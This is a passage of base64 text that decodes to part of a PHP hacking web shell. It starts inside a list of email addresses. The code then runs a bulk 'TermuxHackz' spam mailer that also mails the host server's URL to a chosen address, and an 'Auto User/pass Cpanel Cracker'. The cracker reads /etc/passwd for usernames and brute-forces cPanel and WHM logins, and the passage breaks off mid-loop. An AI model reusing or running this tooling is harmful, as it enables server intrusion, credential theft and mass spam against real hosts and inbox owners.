Q0KQWtlbm9NYW5zZXIzMTE0QHZlcml6b24ubmV0DQpFbGxpTGVhdmVud29ydGgzMjI0QGxpdmUuY29tDQpMZXlsYVJvc3dlbGwxNTI3QHZlcml6b24ubmV0DQpLYWxmclZpY2tlcnMzMDI1QHlhaG9vLmNvbQ0KVWFsdGFyS2VubmVkeTE3MDdAaG90bWFpbC5jb20NClNlbmFsZGFFbHk3MUBhb2wuY29tDQpPbGR3aW5hUXVpbjMxNDdAbGl2ZS5jb20NCkVkcmlndVJvdXNzZWF1Mzg2NEBsaXZlLmNvbQ0KTGl1c2FpZGhMZW5ub3gzNTIwQGFvbC5jb20NCkNodW1pbktlbXlzczE5NzlAYW9sLmNvbQ0KTGVpZ2h0b25MdW1sZXkyODU3QGxpdmUuY29tDQo3ZWV5YTY5QGdtYWlsLmNvbSc7DQpmd3JpdGUoJGZpbGUsICR0eHQpOw0KZmNsb3NlKCRmaWxlKTsNCiRmaWxlbmFtZSA9ICJDb25maWcvZW1haWxfbGlzdHMudHh0IjsNCmlmKGZpbGVfZXhpc3RzKCRmaWxlbmFtZSkpIHsNCiBlY2hvICc8YSBocmVmPSJDb25maWcvZW1haWxfbGlzdHMudHh0IiB0YXJnZXQ9Il9ibGFuayI+Q2xpY2sgaGVyZSB0byBzZWUgZW1haWxzISEgPC9hPjxicj48YnI+JzsNCn0gDQplbHNlIHsNCiBlY2hvICJDb3VsZCBub3QgZmluZCBlbWFpbCBsaXN0IGluIGNvbmZpZyBmaWxlIjsNCiB9IA0KfQ0KPz4NCgk8P3BocA0KCX0gDQoJPz4NCiAgICAgICAgICAgICAgICAgPD9waHANCglpZihpc3NldCgkX0dFVFsnZmFrZV9tYWlsJ10pKSB7DQoJPz4NCgkJPGNlbnRlcj48YnI+PGJyPjxmb250IGNvbG9yPSJncmVlbiIgc2l6ZT0iNiIgZmFjZT0iY3Vyc2l2ZSI+TWFpbGVyIGJ5IFRlcm11eEhhY2t6IFNvY2lldHkgVGVhbTwvZm9udD48YnI+PGJyPg0KCTw/cGhwDQplcnJvcl9yZXBvcnRpbmcoMCk7DQppbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApOw0KZXJyb3JfcmVwb3J0aW5nKEVfQUxMIF4gRV9OT1RJQ0UpOw0KZnVuY3Rpb24gZG9zZXQoKSB7DQoJaWYoICFpbmlfZ2V0KCdzYWZlX21vZGUnKSApDQoJew0KICAgICAgICBzZXRfdGltZV9saW1pdCgwKTsNCgkJaW5pX3NldCgibWF4X2V4ZWN1dGlvbl90aW1lIiwgMCk7DQogICAgICAgIGluaV9zZXQoIm1lbW9yeV9saW1pdCIsICIyNTZNIik7DQogICAgICAgIGlnbm9yZV91c2VyX2Fib3J0KHRydWUpOw0KCX0NCgllbHNlIGVjaG8gInRoaXMgaXMgYSBzYWZlX21vZGUgb25lIGFuZCB3aWxsIHRpbWVvdXQuLiBjYW5ub3Qgc2V0X3RpbWVfbGltaXQiOw0KCW9iX3N0YXJ0KCk7DQp9DQpkb3NldCgpOw0KDQoNCmlmICgkX1BPU1RbJ2FjdGlvbiddPT0ic2VuZCIpew0KDQogICAgICAgICRtZXNzYWdlID0gdXJsZW5jb2RlKCRfUE9TVFsnbWVzc2FnZSddKTsNCg0KICAgICAgICAkbWVzc2FnZSA9IGVyZWdfcmVwbGFjZSgiJTVDJTIyIiwgIiUyMiIsICRtZXNzYWdlKTsNCg0KICAgICAgICAkbWVzc2FnZSA9IHVybGRlY29kZSgkbWVzc2FnZSk7DQogICAgICAgICRtZXNzYWdlID0gc3RyaXBzbGFzaGVzKCRtZXNzYWdlKTsNCiAgICAgICAgJHN1YmplY3QgPSBzdHJpcHNsYXNoZXMoJF9QT1NUWydzdWJqZWN0J10pOw0KDQp9DQo/Pg0KDQo8Zm9ybSBuYW1lPSJmb3JtMSIgbWV0aG9kPSJwb3N0IiBhY3Rpb249Ijw/cGhwIGVjaG8gJF9TRVJWRVJbJ1BIUF9TRUxGJ107Pz4iIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KDQogIDxicj4NCg0KICA8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCI+DQoNCiAgICA8dHI+IA0KDQogICAgICA8dGQgd2lkdGg9IjEwJSI+IA0KDQogICAgICAgIDxkaXYgYWxpZ249InJpZ2h0Ij48Zm9udCBzaXplPSItMSIgZmFjZT0iVmVyZGFuYSwgQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiI+WW91ciANCg0KICAgICAgICAgIEVtYWlsOjwvZm9udD48L2Rpdj4NCg0KICAgICAgPC90ZD4NCg0KICAgICAgPHRkIHdpZHRoPSIxOCUiPjxmb250IHNpemU9Ii0xIiBmYWNlPSJWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj4gDQoNCiAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImZyb20iIHZhbHVlPSI8PyBwcmludCAkX1BPU1RbJ2Zyb20nXTsgPz4iIHNpemU9IjMwIj4NCg0KICAgICAgICA8L2ZvbnQ+PC90ZD4NCg0KICAgICAgPHRkIHdpZHRoPSIzMSUiPiANCg0KICAgICAgICA8ZGl2IGFsaWduPSJyaWdodCI+PGZvbnQgc2l6ZT0iLTEiIGZhY2U9IlZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiPllvdXIgDQoNCiAgICAgICAgICBOYW1lOjwvZm9udD48L2Rpdj4NCg0KICAgICAgPC90ZD4NCg0KICAgICAgPHRkIHdpZHRoPSI0MSUiPjxmb250IHNpemU9Ii0xIiBmYWNlPSJWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj4gDQoNCiAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InJlYWxuYW1lIiB2YWx1ZT0iPD8gcHJpbnQgJF9QT1NUWydyZWFsbmFtZSddOyA/PiIgc2l6ZT0iMzAiPg0KDQogICAgICAgIDwvZm9udD48L3RkPg0KDQogICAgPC90cj4NCg0KICAgIDx0cj4gDQoNCiAgICAgIDx0ZCB3aWR0aD0iMTAlIj4gDQoNCiAgICAgICAgPGRpdiBhbGlnbj0icmlnaHQiPjxmb250IHNpemU9Ii0xIiBmYWNlPSJWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj5SZXBseS1Ubzo8L2ZvbnQ+PC9kaXY+DQoNCiAgICAgIDwvdGQ+DQoNCiAgICAgIDx0ZCB3aWR0aD0iMTglIj48Zm9udCBzaXplPSItMSIgZmFjZT0iVmVyZGFuYSwgQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiI+IA0KDQogICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyZXBseXRvIiB2YWx1ZT0iPD8gcHJpbnQgJF9QT1NUWydyZXBseXRvJ107ID8+IiBzaXplPSIzMCI+DQoNCiAgICAgICAgPC9mb250PjwvdGQ+DQoNCiAgICAgIDx0ZCB3aWR0aD0iMzElIj4gDQoNCiAgICAgICAgPGRpdiBhbGlnbj0icmlnaHQiPjxmb250IHNpemU9Ii0xIiBmYWNlPSJWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj5BdHRhY2ggDQoNCiAgICAgICAgICBGaWxlOjwvZm9udD48L2Rpdj4NCg0KICAgICAgPC90ZD4NCg0KICAgICAgPHRkIHdpZHRoPSI0MSUiPjxmb250IHNpemU9Ii0xIiBmYWNlPSJWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj4gDQoNCiAgICAgICAgPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIHNpemU9IjMwIj4NCg0KICAgICAgICA8L2ZvbnQ+PC90ZD4NCg0KICAgIDwvdHI+DQoNCiAgICA8dHI+IA0KDQogICAgICA8dGQgd2lkdGg9IjEwJSI+IA0KDQogICAgICAgIDxkaXYgYWxpZ249InJpZ2h0Ij48Zm9udCBzaXplPSItMSIgZmFjZT0iVmVyZGFuYSwgQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiI+U3ViamVjdDo8L2ZvbnQ+PC9kaXY+DQoNCiAgICAgIDwvdGQ+DQoNCiAgICAgIDx0ZCBjb2xzcGFuPSIzIj48Zm9udCBzaXplPSItMSIgZmFjZT0iVmVyZGFuYSwgQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiI+IA0KDQogICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzdWJqZWN0IiB2YWx1ZT0iPD8gcHJpbnQgc3RyaXBzbGFzaGVzKCRfUE9TVFsnc3ViamVjdCddKTsgPz4iIHNpemU9IjkwIj4NCg0KICAgICAgICA8L2ZvbnQ+PC90ZD4NCg0KICAgIDwvdHI+DQoNCiAgICA8dHIgdmFsaWduPSJ0b3AiPiANCg0KICAgICAgPHRkIGNvbHNwYW49IjMiPjxmb250IHNpemU9Ii0xIiBmYWNlPSJWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj4gDQoNCiAgICAgICAgPHRleHRhcmVhIG5hbWU9Im1lc3NhZ2UiIGNvbHM9IjYwIiByb3dzPSIxMCI+PD8gcHJpbnQgc3RyaXBzbGFzaGVzKCRfUE9TVFsnbWVzc2FnZSddKTsgPz48L3RleHRhcmVhPg0KDQogICAgICAgIDxicj4NCg0KICAgICAgICA8aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9ImNvbnRlbnR0eXBlIiB2YWx1ZT0icGxhaW4iPg0KDQogICAgICAgIFBsYWluIA0KDQogICAgICAgIDxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0iY29udGVudHR5cGUiIHZhbHVlPSJodG1sIiBjaGVja2VkPg0KDQogICAgICAgIEhUTUwgDQoNCiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0ic2VuZCI+DQoNCiAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNlbmQgTWVzc2FnZSI+DQoNCiAgICAgICAgPC9mb250PjwvdGQ+DQoNCiAgICAgIDx0ZCB3aWR0aD0iNDElIj48Zm9udCBzaXplPSItMSIgZmFjZT0iVmVyZGFuYSwgQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiI+IA0KDQogICAgICAgIDx0ZXh0YXJlYSBuYW1lPSJlbWFpbGxpc3QiIGNvbHM9IjMwIiByb3dzPSIxMCI+PC90ZXh0YXJlYT4NCg0KICAgICAgICA8YnI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJlbWFpbGZpbmFsIiB2YWx1ZT0iPD8gcHJpbnQgJF9QT1NUWydlbWFpbGZpbmFsJ107ID8+IiBzaXplPSIyMiI+IChFTUFJTCBWRVJJRklDQVRJT04pDQogICAgICAgIDwvZm9udD48L3RkPg0KICAgIDwvdHI+DQogIDwvdGFibGU+DQogIDxwPkZvciBlYWNoIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJlbWFpbHoiIHZhbHVlPSI8PyBwcmludCAkX1BPU1RbJ2VtYWlseiddOyA/PiIgc2l6ZT0iMyI+IG1haWx6LCB3YWl0IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ3YWl0IiB2YWx1ZT0iPD8gcHJpbnQgJF9QT1NUWyd3YWl0J107ID8+IiBzaXplPSIzIj4gc2Vjb25kPGJyPjwvcD4NCjwvZm9ybT4NCg0KDQoNCjw/DQoNCmlmICgkX1BPU1RbJ2FjdGlvbiddPT0ic2VuZCIpew0KICAgICAgICAkbWVzc2FnZSA9IHVybGVuY29kZSgkX1BPU1RbJ21lc3NhZ2UnXSk7DQoNCiAgICAgICAgJG1lc3NhZ2UgPSBlcmVnX3JlcGxhY2UoIiU1QyUyMiIsICIlMjIiLCAkbWVzc2FnZSk7DQoNCiAgICAgICAgJG1lc3NhZ2UgPSB1cmxkZWNvZGUoJG1lc3NhZ2UpOw0KICAgICAgICAkbWVzc2FnZSA9IHN0cmlwc2xhc2hlcygkbWVzc2FnZSk7DQogICAgICAgICRzdWJqZWN0ID0gc3RyaXBzbGFzaGVzKCRfUE9TVFsnc3ViamVjdCddKTsNCg0KDQogICAgICAgICRmcm9tPSRfUE9TVFsnZnJvbSddOw0KICAgICAgICAkcmVhbG5hbWU9JF9QT1NUWydyZWFsbmFtZSddOw0KICAgICAgICAkcmVwbHl0bz0kX1BPU1RbJ3JlcGx5dG8nXTsNCg0KDQogICAgICAgICRlbWFpbGxpc3Q9JF9QT1NUWydlbWFpbGxpc3QnXTsNCiAgICAgICANCiAgICAgICAgJGNvbnRlbnR0eXBlPSRfUE9TVFsnY29udGVudHR5cGUnXTsNCg0KDQogICAgICAgICRhbGxlbWFpbHMgPSBzcGxpdCgiXG4iLCAkZW1haWxsaXN0KTsNCg0KICAgICAgICAkbnVtZW1haWxzID0gY291bnQoJGFsbGVtYWlscyk7DQoJCQ0KCQkNCg0KDQogICAgICAgICNPcGVuIHRoZSBmaWxlIGF0dGFjaG1lbnQgaWYgYW55LCBhbmQgYmFzZTY0X2VuY29kZSBpdCBmb3IgZW1haWwgdHJhbnNwb3J0DQoJCSRmaWxlX25hbWUgPSAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXTsNCgkJJGZpbGUgPSAkX0ZJTEVTWydmaWxlJ107DQogICAgICAgIGlmICgkZmlsZV9uYW1lKXsNCg0KICAgICAgICAgICAgICAgIEBjb3B5KCRmaWxlLCAiLi8kZmlsZV9uYW1lIikgb3IgZGllKCJUaGUgZmlsZSB5b3UgYXJlIHRyeWluZyB0byB1cGxvYWQgY291bGRuJ3QgYmUgY29waWVkIHRvIHRoZSBzZXJ2ZXIiKTsNCg0KICAgICAgICAgICAgICAgICRjb250ZW50ID0gZnJlYWQoZm9wZW4oJGZpbGUsInIiKSxmaWxlc2l6ZSgkZmlsZSkpOw0KDQogICAgICAgICAgICAgICAgJGNvbnRlbnQgPSBjaHVua19zcGxpdChiYXNlNjRfZW5jb2RlKCRjb250ZW50KSk7DQoNCiAgICAgICAgICAgICAgICAkdWlkID0gc3RydG91cHBlcihtZDUodW5pcWlkKHRpbWUoKSkpKTsNCg0KICAgICAgICAgICAgICAgICRuYW1lID0gYmFzZW5hbWUoJGZpbGUpOw0KDQogICAgICAgIH0NCg0KICAgICAgICANCg0KICAgICAgICBmb3IoJHg9MDsgJHg8JG51bWVtYWlsczsgJHgrKyl7DQoNCiAgICAgICAgICAgICAgICBpZigkX1BPU1RbJ2VtYWlseiddICYmICRfUE9TVFsnd2FpdCddKQ0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoIGZtb2QoJHgsJGVtYWlseikgPT0gMCApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLT4gQWxyZWFkeSBhdCB0aGUgZW1haWwgJHgsIGV4Y2VwdCAkd2FpdCBzZWNvbmQuPGJyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNsZWVwKCR3YWl0KTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkdG8gPSAkYWxsZW1haWxzWyR4XTsNCg0KICAgICAgICAgICAgICAgIGlmICgkdG8pew0KDQoJCQkJCSR0byA9IGVyZWdfcmVwbGFjZSgiICIsICIiLCAkdG8pOw0KCQkJCQkkdG8gPSB0cmltKCR0byk7DQoJDQoJCQkJCSRtZXNzYWdlID0gZXJlZ19yZXBsYWNlKCImZW1haWwmIiwgJHRvLCAkbWVzc2FnZSk7DQoJDQoJCQkJCSRzdWJqZWN0ID0gZXJlZ19yZXBsYWNlKCImZW1haWwmIiwgJHRvLCAkc3ViamVjdCk7DQoJDQoJCQkJCXByaW50ICJTZW5kaW5nIG1haWwgdG8gJHRvLi4uLi4uLiI7DQoJDQoJCQkJCWZsdXNoKCk7DQoJCQkJCW9iX2ZsdXNoKCk7DQoJDQoJCQkJCSRoZWFkZXIgPSAiRnJvbTogJHJlYWxuYW1lIDwkZnJvbT5cclxuUmVwbHktVG86ICRyZXBseXRvXHJcbiI7DQoJDQoJCQkJCSRoZWFkZXIgLj0gIk1JTUUtVmVyc2lvbjogMS4wXHJcbiI7DQoJDQoJCQkJCWlmICgkZmlsZV9uYW1lKSAkaGVhZGVyIC49ICJDb250ZW50LVR5cGU6IG11bHRpcGFydC9taXhlZDsgYm91bmRhcnk9JHVpZFxyXG4iOw0KCQ0KCQkJCQlpZiAoJGZpbGVfbmFtZSkgJGhlYWRlciAuPSAiLS0kdWlkXHJcbiI7DQoJDQoJCQkJCSRoZWFkZXIgLj0gIkNvbnRlbnQtVHlwZTogdGV4dC8kY29udGVudHR5cGVcclxuIjsNCgkNCgkJCQkJJGhlYWRlciAuPSAiQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogOGJpdFxyXG5cclxuIjsNCgkNCgkJCQkJJGhlYWRlciAuPSAiJG1lc3NhZ2VcclxuIjsNCgkNCgkJCQkJaWYgKCRmaWxlX25hbWUpICRoZWFkZXIgLj0gIi0tJHVpZFxyXG4iOw0KCQ0KCQkJCQlpZiAoJGZpbGVfbmFtZSkgJGhlYWRlciAuPSAiQ29udGVudC1UeXBlOiAkZmlsZV90eXBlOyBuYW1lPVwiJGZpbGVfbmFtZVwiXHJcbiI7DQoJDQoJCQkJCWlmICgkZmlsZV9uYW1lKSAkaGVhZGVyIC49ICJDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBiYXNlNjRcclxuIjsNCgkNCgkJCQkJaWYgKCRmaWxlX25hbWUpICRoZWFkZXIgLj0gIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPVwiJGZpbGVfbmFtZVwiXHJcblxyXG4iOw0KCQ0KCQkJCQlpZiAoJGZpbGVfbmFtZSkgJGhlYWRlciAuPSAiJGNvbnRlbnRcclxuIjsNCgkNCgkJCQkJaWYgKCRmaWxlX25hbWUpICRoZWFkZXIgLj0gIi0tJHVpZC0tIjsNCgkNCgkJCQkJQG1haWwoJHRvLCAkc3ViamVjdCwgIiIsICRoZWFkZXIpOw0KCQ0KCQkJCQlwcmludCAiIFMtbyBzaG93ZXI8YnI+IjsNCgkNCgkJCQkJZmx1c2goKTsNCgkJCQkJb2JfZmx1c2goKTsNCg0KICAgICAgICAgICAgICAgIH0NCg0KCQl9Ly9lbmQgZm9yDQoJCQ0KCQlpZiggc3RycG9zKCRfUE9TVFsnZW1haWxmaW5hbCddLCAiQCIpICE9PSBmYWxzZSl7DQoJCQlAbWFpbCgkX1BPU1RbJ2VtYWlsZmluYWwnXSwgJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddLCAidGVzdCIpOw0KCQl9DQogICAgICAgICAgICAgICAgLy8kZW1haWxsaXN0IC49ICJcbiIuICRfUE9TVFsnZW1haWxmaW5hbCddOw0KDQoNCg0KfQ0KDQplY2hvICI8L2NlbnRlcj4iOw0KPz4NCgk8P3BocA0KCX0gDQoJPz4gICAgICAJCQkJCQ0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzc2V0KCRfR0VUWydjcGFuZWwnXSkpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPGNlbnRlcj48YnI+PGZvbnQgY29sb3I9InJlZCIgZmFjZT0iY3Vyc2l2ZSIgc2l6ZT0iNSI+QXV0byBVc2VyL3Bhc3MgQ3BhbmVsIENyYWNrZXI8L2ZvbnQ+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPXBvc3Q+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbD5TZWxlY3QgdG8gYnJ1dGU9PjwvbGFiZWw+PHNlbGVjdCBuYW1lPSJvcCI+IDxvcHRpb24gbmFtZT0ib3AiIHZhbHVlPSJjcCI+Q1BhbmVsPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIG5hbWU9Im9wIiB2YWx1ZT0id2htIj5XSE1QYW5lbDwvb3B0aW9uPg0KDQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgPHRleHRhcmVhIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOndoaXRlIiByb3dzPTIwIGNvbHM9MjUgbmFtZT11c2VybmFtZXMgPjw/cGhwICR1c2Vycz1maWxlKCIvZXRjL3Bhc3N3ZCIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkdXNlcnMgYXMgJHVzZXIpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkc3RyPWV4cGxvZGUoIjoiLCR1c2VyKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJHN0clswXS4iXG4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICA/PjwvdGV4dGFyZWE+PHRleHRhcmVhIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOndoaXRlIiByb3dzPTIwIGNvbHM9MjUgbmFtZT1wYXNzd29yZHMgPg0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCg0KICAgICAgICAgICAgICAgICAgICAgICAgJGQ9Z2V0Y3dkKCkuIi9yLnR4dCI7DQogICAgICAgICAgICAgICAgICAgICAgICAkcGY9ZmlsZSgkZCk7DQogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRwZiBhcyAkcnQpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkc3RyPWV4cGxvZGUoJ1xuJywkcnQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyB0cmltKCRzdHJbMF0pLiJcbiI7DQogICAgICAgICAgICAgICAgICAgICAgICB9ID8+PC90ZXh0YXJlYT48cD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPWNwYW5lbGNyYWNraW5nIGNsYXNzPWJ1dHRvbi0zIHZhbHVlPSJTVEFSVCBBVFRBQ0sgOikiPjwvZm9ybT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvcD4NCg0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgID8+DQogICAgICAgICAgICAgICAgICAgICAgICA8YnI+DQogICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgZXJyb3JfcmVwb3J0aW5nKDApOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGNvbm5lY3RfdGltZW91dD01Ow0KICAgICAgICAgICAgICAgICAgICAgICAgc2V0X3RpbWVfbGltaXQoMCk7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICR1c2VybD0kX1BPU1RbJ3VzZXJuYW1lcyddOw0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhc3NsPSRfUE9TVFsncGFzc3dvcmRzJ107DQogICAgICAgICAgICAgICAgICAgICAgICAkYXR0YWNrPSRfUE9TVFsnb3AnXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICR0YXJnZXQgPSAibG9jYWxob3N0IjsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydjcGFuZWxjcmFja2luZyddKSkNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCR1c2VybCE9PSIiICYmICRwYXNzbCE9PSIiKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJF9QT1NUWyJvcCJdPT0iY3AiKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGNyYWNrZWQ9JF9QT1NUWydjcmFjayddOw0KICAgICAgICAgICAgICAgICAgICAgICAgQGZvcGVuKCRjcmFja2VkLCdhJyk7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8cD4uLi4uLi5ub3cgd2UgYXJlIGF0dGFja2luZyBjcGFuZWxzLi4uLnBsZWFzZSB3YWl0IHRpbGwgdGhlIGVuZCBvZiBwcm9jZXNzIFxuIDwvcD4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiIjsNCg0KDQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoJF9QT1NUWyJvcCJdPT0id2htIikNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIEBmb3BlbigkY3JhY2tlZCwnYScpOw0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPHA+Li4ubm93IHdlIGFyZSBhdHRhY2tpbmcgV0hNIHBhbmVsLi4uLnBsZWFzZSB3YWl0IHRpbGwgdGhlIGVuZCBvZiBwcm9jZXNzPC9wPiI7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICIiOw0KDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGNwYW5lbCgkaG9zdCwkdXNlciwkcGFzcywkdGltZW91dCl7DQogICAgICAgICAgICAgICAgICAgICAgICAkY2ggPSBjdXJsX2luaXQoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICJodHRwOi8vJGhvc3Q6MjA4MiIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IVFRQQVVUSCwgQ1VSTEFVVEhfQkFTSUMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJQV0QsICIkdXNlcjokcGFzcyIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgJHRpbWVvdXQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZBSUxPTkVSUk9SLCAxKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRkYXRhID0gY3VybF9leGVjKCRjaCk7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoIGN1cmxfZXJybm8oJGNoKSA9PSAwICl7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8dGFibGUgd2lkdGg9MTAwJSA+PHRyPjx0ZCBhbGlnbj1jZW50ZXI+PGI+PGZvbnQgY29sb3I9d2hpdGUgc2l6ZT0yPj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT08L2ZvbnQ+PGZvbnQgY29sb3I9cmVkIHNpemU9Mj4gJHVzZXIgPC9mb250Pjxmb250IGNvbG9yPXdoaXRlIHNpemU9Mj5DcmFja2VkIHdpdGggPC9mb250Pjxmb250IGNvbG9yPXJlZCBzaXplPTI+ICRwYXNzIDwvZm9udD4gPGZvbnQgY29sb3I9d2hpdGUgc2l6ZT0yPj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT08L2ZvbnQ+PC9iPjwvdGQ+PC90cj48L3RhYmxlPiI7DQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICBjdXJsX2Nsb3NlKCRjaCk7fQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAkdXNlcmxpc3Q9ZXhwbG9kZSgiXG4iLCR1c2VybCk7DQogICAgICAgICAgICAgICAgICAgICAgICAkcGFzc2xpc3Q9ZXhwbG9kZSgiXG4iLCRwYXNzbCk7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkYXR0YWNrID09ICJjcCIpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkdXNlcmxpc3QgYXMgJHVzZXIpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxkaXYgYWxpZ249Y2VudGVyPjx0YWJsZSB3aWR0aD04MCUgPjx0cj48dGQgYWxpZ249Y2VudGVyPjxiPjxmb250IGNvbG9yPXJlZCBzaXplPTI+QXR0YWNraW5nIHVzZXIgJHVzZXIgPC9mb250PjwvdGQ+PC90cj48L3RhYmxlPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAkZmluYWx1c2VyID0gdHJpbSgkdXNlcik7DQogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkcGFzc2xpc3QgYXMgJHBhc3N3b3JkICkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGZpbmFscGFzcyA9IHRyaW0oJHBhc3N3b3JkKTsNCg0KD